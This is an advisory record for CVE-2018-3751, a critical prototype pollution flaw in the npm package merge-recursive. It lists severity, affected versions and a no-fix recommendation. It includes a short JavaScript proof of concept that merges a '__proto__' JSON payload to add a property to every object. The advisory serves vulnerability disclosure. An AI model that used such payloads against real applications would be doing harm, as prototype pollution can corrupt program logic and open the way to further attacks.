GHSA-cvxm-f295-x957

Source

https://github.com/advisories/GHSA-cvxm-f295-x957

Import Source

https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2018/09/GHSA-cvxm-f295-x957/GHSA-cvxm-f295-x957.json

JSON Data

https://api.osv.dev/v1/vulns/GHSA-cvxm-f295-x957

Aliases

CVE-2018-3751

Published

2018-09-18T13:46:06Z

Modified

2023-11-08T04:00:18.903087Z

Severity

9.8 (Critical) CVSS_V3 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CVSS Calculator

Summary

Prototype Pollution in merge-recursive

Details

All versions of merge-recursive are vulnerable to Prototype Pollution. When malicious user input is merged with another object it allows the attacker to modify the prototype of Object via __proto__ causing the addition or modification of an existing property.

Proof of concept:

var merge = require('merge-recursive').recursive;
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';

var a = {};
console.log("Before : " + a.oops);
merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);

Recommendation

There is currently no fix available.

Database specific

{
    "cwe_ids": [
        "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T21:33:01Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
}

References

Affected packages

npm / merge-recursive

Package

Name: merge-recursive; View open source insights on deps.dev
Purl: pkg:npm/merge-recursive

Affected ranges

Type: SEMVER
Events: Introduced

0Unknown introduced version / All previous versions are affected

Last affected

0.0.3

Database specific

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2018/09/GHSA-cvxm-f295-x957/GHSA-cvxm-f295-x957.json"